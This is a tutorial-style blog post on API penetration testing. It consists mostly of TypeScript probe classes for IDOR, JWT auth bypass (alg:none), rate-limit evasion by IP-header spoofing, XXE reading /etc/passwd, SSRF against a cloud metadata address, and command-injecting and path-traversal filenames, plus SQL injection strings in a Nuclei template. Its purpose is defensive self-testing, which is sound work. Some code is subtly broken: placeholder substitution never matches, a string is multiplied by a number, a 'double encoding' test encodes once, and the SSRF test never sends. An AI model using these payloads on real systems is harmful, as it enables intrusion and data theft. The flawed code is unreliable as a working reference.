Published on

Backend Penetration Testing — What to Test Before Your Enterprise Customers Do

Authors

Introduction

Penetration testing (pen testing) doesn't need expensive consultants—it needs discipline. Running the same tests systematically against every API before customers discover vulnerabilities is the baseline. This post covers IDOR testing methodology, authentication bypass techniques, rate limiting edge cases, XXE/SSRF in file uploads, mass assignment, GraphQL introspection abuse, API fuzzing, and automated security scanning in CI.

IDOR Testing Methodology

Insecure Direct Object References (IDOR / BOLA) are the most common API vulnerability. Here's a systematic approach:

import axios from 'axios';

interface IDORTestCase {
  endpoint: string;
  idParameter: string;
  knownId: string;
  testIds: string[];
}

class IDORTester {
  private baseUrl: string;
  private token: string;

  constructor(baseUrl: string, token: string) {
    this.baseUrl = baseUrl;
    this.token = token;
  }

  async testIDOR(testCase: IDORTestCase): Promise<void> {
    console.log(`Testing IDOR on ${testCase.endpoint}`);

    for (const testId of testCase.testIds) {
      try {
        const url = testCase.endpoint.replace(
          `{${testCase.idParameter}}`,
          testId
        );

        const response = await axios.get(
          `${this.baseUrl}${url}`,
          {
            headers: { Authorization: `Bearer ${this.token}` },
            validateStatus: () => true,
          }
        );

        if (response.status === 200) {
          console.warn(
            `VULNERABILITY: Accessed ${url} (status ${response.status})`
          );
          console.warn(`Response: ${JSON.stringify(response.data).substring(0, 200)}`);
        } else if (response.status === 403 || response.status === 404) {
          console.log(`OK: Properly rejected ${url} (status ${response.status})`);
        } else {
          console.log(`Unexpected: ${url} returned ${response.status}`);
        }
      } catch (error) {
        console.error(`Error testing ${testId}:`, error);
      }
    }
  }

  async testParameterTamperingIDOR(
    endpoint: string,
    userId: string
  ): Promise<void> {
    // Test for horizontal escalation (accessing other users' data)
    const otherUserIds = [
      '1',
      '2',
      '999',
      `${parseInt(userId) + 1}`,
      `${parseInt(userId) - 1}`,
    ];

    await this.testIDOR({
      endpoint,
      idParameter: 'userId',
      knownId: userId,
      testIds: otherUserIds,
    });
  }

  async testNumericIDOR(
    endpoint: string,
    knownId: number
  ): Promise<void> {
    // Test sequential numeric IDs
    const testIds = [
      (knownId - 1).toString(),
      (knownId + 1).toString(),
      '0',
      '1',
      Math.floor(Math.random() * 10000).toString(),
    ];

    await this.testIDOR({
      endpoint,
      idParameter: 'id',
      knownId: knownId.toString(),
      testIds,
    });
  }

  async testUUIDIDOR(endpoint: string): Promise<void> {
    // For UUIDs, test variations
    const validUUID = '550e8400-e29b-41d4-a716-446655440000';
    const testIds = [
      '00000000-0000-0000-0000-000000000000',
      '11111111-1111-1111-1111-111111111111',
      validUUID.substring(0, 8) + '-' + '0000-0000-0000-000000000000',
    ];

    await this.testIDOR({
      endpoint,
      idParameter: 'id',
      knownId: validUUID,
      testIds,
    });
  }
}

// Usage
const tester = new IDORTester(
  'https://api.example.com',
  process.env.AUTH_TOKEN || ''
);

// Test invoices endpoint
tester.testNumericIDOR('/api/invoices/:id', 123);

// Test user profiles
tester.testParameterTamperingIDOR('/api/users/:userId', '456');

// Test with UUID
tester.testUUIDIDOR('/api/organizations/:id');

Authentication Bypass Testing

class AuthBypassTester {
  private baseUrl: string;

  constructor(baseUrl: string) {
    this.baseUrl = baseUrl;
  }

  async testMissingAuthHeader(endpoint: string): Promise<void> {
    console.log('Testing missing Authorization header...');

    const response = await axios.get(
      `${this.baseUrl}${endpoint}`,
      { validateStatus: () => true }
    );

    if (response.status === 200) {
      console.warn('VULNERABILITY: Endpoint accessible without auth');
    }
  }

  async testInvalidTokens(endpoint: string): Promise<void> {
    const invalidTokens = [
      '',
      'invalid',
      'Bearer',
      'Bearer invalid-token',
      'Bearer 0' * 100,
      'Bearer ' + 'a'.repeat(1000),
      'Basic aW52YWxpZA==', // Different auth type
      'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30.', // Invalid JWT
    ];

    for (const token of invalidTokens) {
      const response = await axios.get(
        `${this.baseUrl}${endpoint}`,
        {
          headers: { Authorization: token },
          validateStatus: () => true,
        }
      );

      if (response.status === 200) {
        console.warn(`VULNERABILITY: Accepted invalid token: "${token}"`);
      }
    }
  }

  async testExpiredToken(endpoint: string): Promise<void> {
    // JWT with exp claim in the past
    const expiredToken =
      'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjYzNzY0OTl9.signature';

    const response = await axios.get(
      `${this.baseUrl}${endpoint}`,
      {
        headers: { Authorization: expiredToken },
        validateStatus: () => true,
      }
    );

    if (response.status === 200) {
      console.warn('VULNERABILITY: Expired token accepted');
    }
  }

  async testNoAlgorithmJWT(endpoint: string): Promise<void> {
    // JWT with alg: none
    const noneAlgToken =
      'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9.';

    const response = await axios.get(
      `${this.baseUrl}${endpoint}`,
      {
        headers: { Authorization: `Bearer ${noneAlgToken}` },
        validateStatus: () => true,
      }
    );

    if (response.status === 200) {
      console.warn('VULNERABILITY: alg:none JWT accepted');
    }
  }

  async testCaseInsensitiveBypass(endpoint: string): Promise<void> {
    // Test case variations
    const variations = [
      'bearer TOKEN',
      'BEARER TOKEN',
      'BeArEr TOKEN',
    ];

    for (const auth of variations) {
      const response = await axios.get(
        `${this.baseUrl}${endpoint}`,
        {
          headers: { Authorization: auth },
          validateStatus: () => true,
        }
      );

      if (response.status !== 401 && response.status !== 403) {
        console.warn(
          `POTENTIAL BYPASS: Case variation "${auth}" accepted`
        );
      }
    }
  }
}

const authTester = new AuthBypassTester('https://api.example.com');

authTester.testMissingAuthHeader('/api/protected');
authTester.testInvalidTokens('/api/protected');
authTester.testExpiredToken('/api/protected');
authTester.testNoAlgorithmJWT('/api/protected');
authTester.testCaseInsensitiveBypass('/api/protected');

Rate Limiting Bypass Testing

class RateLimitBypassTester {
  private baseUrl: string;

  constructor(baseUrl: string) {
    this.baseUrl = baseUrl;
  }

  async testHeaderRotation(
    endpoint: string,
    attempts: number = 100
  ): Promise<void> {
    console.log('Testing rate limit bypass via header rotation...');

    for (let i = 0; i < attempts; i++) {
      const ip = this.generateRandomIP();
      const response = await axios.get(
        `${this.baseUrl}${endpoint}`,
        {
          headers: {
            'X-Forwarded-For': ip,
            'X-Real-IP': ip,
            'CF-Connecting-IP': ip,
          },
          validateStatus: () => true,
        }
      );

      if (response.status === 200) {
        console.log(`Attempt ${i + 1}: Success (spoofed IP: ${ip})`);
      } else if (response.status === 429) {
        console.log(`Rate limited at attempt ${i + 1}`);
        break;
      }
    }
  }

  async testDoubleURLEncoding(
    endpoint: string
  ): Promise<void> {
    const encodedEndpoint = endpoint
      .split('')
      .map((c) => '%' + c.charCodeAt(0).toString(16).toUpperCase())
      .join('');

    const response = await axios.get(
      `${this.baseUrl}${encodedEndpoint}`,
      { validateStatus: () => true }
    );

    if (response.status === 200) {
      console.warn(
        'VULNERABILITY: Rate limit bypassed with double URL encoding'
      );
    }
  }

  async testPathNormalizationBypass(
    endpoint: string
  ): Promise<void> {
    const variations = [
      endpoint,
      endpoint + '/',
      endpoint + '//',
      endpoint + '?',
      endpoint + '#',
      endpoint + ';x=y',
      endpoint.replace(/\//g, '//'),
    ];

    for (const variant of variations) {
      const response = await axios.get(
        `${this.baseUrl}${variant}`,
        { validateStatus: () => true }
      );

      if (response.status !== 429) {
        console.warn(
          `POTENTIAL BYPASS: ${variant} (status ${response.status})`
        );
      }
    }
  }

  private generateRandomIP(): string {
    return [
      Math.floor(Math.random() * 255),
      Math.floor(Math.random() * 255),
      Math.floor(Math.random() * 255),
      Math.floor(Math.random() * 255),
    ].join('.');
  }
}

const rateLimitTester = new RateLimitBypassTester(
  'https://api.example.com'
);

rateLimitTester.testHeaderRotation('/api/login', 50);
rateLimitTester.testDoubleURLEncoding('/api/users');
rateLimitTester.testPathNormalizationBypass('/api/data');

XXE and File Upload Vulnerabilities

class FileUploadTester {
  private baseUrl: string;

  constructor(baseUrl: string) {
    this.baseUrl = baseUrl;
  }

  async testXXEInjection(
    uploadEndpoint: string
  ): Promise<void> {
    // XXE payload that attempts to read /etc/passwd
    const xxePayload = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>`;

    const formData = new FormData();
    formData.append('file', new Blob([xxePayload], { type: 'application/xml' }), 'payload.xml');

    const response = await axios.post(
      `${this.baseUrl}${uploadEndpoint}`,
      formData,
      { validateStatus: () => true }
    );

    if (response.data?.includes('root:')) {
      console.warn('VULNERABILITY: XXE injection successful');
      console.warn(`Retrieved: ${response.data}`);
    }
  }

  async testSSRFInUpload(): Promise<void> {
    // SSRF payload via XXE
    const ssrfPayload = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root>&xxe;</root>`;

    const formData = new FormData();
    formData.append('file', new Blob([ssrfPayload], { type: 'application/xml' }), 'ssrf.xml');

    // Test will reveal if metadata endpoint is accessible
  }

  async testMaliciousFilename(): Promise<void> {
    const payloads = [
      '../../../etc/passwd',
      '..\\..\\..\\windows\\system32\\config\\sam',
      'file.pdf.exe',
      'file.pdf; rm -rf /',
      `file${String.fromCharCode(0)}.pdf`,
    ];

    for (const filename of payloads) {
      const formData = new FormData();
      formData.append(
        'file',
        new Blob(['test'], { type: 'text/plain' }),
        filename
      );

      const response = await axios.post(
        `${this.baseUrl}/api/upload`,
        formData,
        { validateStatus: () => true }
      );

      if (response.status === 200) {
        console.warn(`Suspicious filename accepted: ${filename}`);
      }
    }
  }
}

const fileUploadTester = new FileUploadTester(
  'https://api.example.com'
);

fileUploadTester.testXXEInjection('/api/upload');
fileUploadTester.testSSRFInUpload();
fileUploadTester.testMaliciousFilename();

GraphQL Introspection Abuse

class GraphQLTester {
  private baseUrl: string;

  constructor(baseUrl: string) {
    this.baseUrl = baseUrl;
  }

  async testIntrospectionEnabled(
    graphqlEndpoint: string
  ): Promise<void> {
    const introspectionQuery = `
      query IntrospectionQuery {
        __schema {
          types {
            name
            fields {
              name
              type {
                name
              }
            }
          }
        }
      }
    `;

    const response = await axios.post(
      `${this.baseUrl}${graphqlEndpoint}`,
      { query: introspectionQuery },
      { validateStatus: () => true }
    );

    if (response.status === 200 && response.data.data?.__schema) {
      console.warn(
        'VULNERABILITY: GraphQL introspection enabled (schema exposed)'
      );

      const types = response.data.data.__schema.types;
      console.warn(`Exposed types: ${types.map((t: any) => t.name).join(', ')}`);
    }
  }

  async testFieldInjection(
    graphqlEndpoint: string
  ): Promise<void> {
    // Try to access sensitive fields
    const fieldInjectionQueries = [
      `{ user { id password } }`,
      `{ user { id email internalId apiKey } }`,
      `{ admin { id secretToken } }`,
    ];

    for (const query of fieldInjectionQueries) {
      const response = await axios.post(
        `${this.baseUrl}${graphqlEndpoint}`,
        { query },
        { validateStatus: () => true }
      );

      if (response.status === 200 && !response.data.errors) {
        console.warn(`VULNERABILITY: Accessible field in query: ${query}`);
      }
    }
  }

  async testInlineFragmentBypass(
    graphqlEndpoint: string
  ): Promise<void> {
    // Try to bypass authorization with inline fragments
    const bypassQuery = `
      {
        user {
          id
          ... on Admin {
            adminPanel
          }
        }
      }
    `;

    const response = await axios.post(
      `${this.baseUrl}${graphqlEndpoint}`,
      { query: bypassQuery },
      { validateStatus: () => true }
    );

    if (!response.data.errors?.some((e: any) => e.message.includes('not authorized'))) {
      console.warn('POTENTIAL VULNERABILITY: Fragment-based bypass');
    }
  }
}

const graphqlTester = new GraphQLTester('https://api.example.com');

graphqlTester.testIntrospectionEnabled('/graphql');
graphqlTester.testFieldInjection('/graphql');
graphqlTester.testInlineFragmentBypass('/graphql');

API Fuzzing with Nuclei

# Install nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Create custom API fuzzing template
cat > api-fuzzing.yaml << 'EOF'
id: api-parameter-fuzzing
info:
  name: API Parameter Fuzzing
  author: security-team
  severity: medium

requests:
  - raw:
      - |
        GET /api/users?id=1' OR '1'='1 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /api/users?id=1" OR "1"="1 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /api/users?id=1 UNION SELECT 1,2,3 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "error"
          - "exception"
EOF

# Run fuzzing
nuclei -u https://api.example.com -templates api-fuzzing.yaml -v

OWASP ZAP Integration in CI

# .github/workflows/zap-scan.yml
name: OWASP ZAP API Scan

on: [push, pull_request]

jobs:
  zap:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Start API server
        run: npm start &
      - uses: zaproxy/action-baseline@v0.4.0
        with:
          target: 'http://localhost:3000'
          rules_file_name: '.zap/rules.tsv'
          cmd_options: '-a'
      - name: Upload report
        if: always()
        uses: actions/upload-artifact@v3
        with:
          name: zap-report
          path: report_html.html

Checklist

  • Test IDOR on all numeric and UUID endpoints
  • Test missing/invalid/expired authentication tokens
  • Test rate limiting with IP spoofing and path manipulation
  • Test XXE in XML file uploads
  • Test SSRF via file upload endpoints
  • Scan for GraphQL introspection and field injection
  • Fuzz API parameters with SQL/command injection payloads
  • Test mass assignment on PATCH/PUT endpoints
  • Verify security headers are set (CSP, HSTS, etc.)
  • Run OWASP ZAP in CI on every push
  • Document all findings and track remediation

Conclusion

Penetration testing is not a once-a-year exercise—it's a continuous process. Run IDOR checks, authentication bypass tests, rate limiting fuzzing, XXE/SSRF probes, and GraphQL introspection scans in CI before customers do. This checklist, combined with automated tools like Nuclei and OWASP ZAP, makes security testing systematic and repeatable.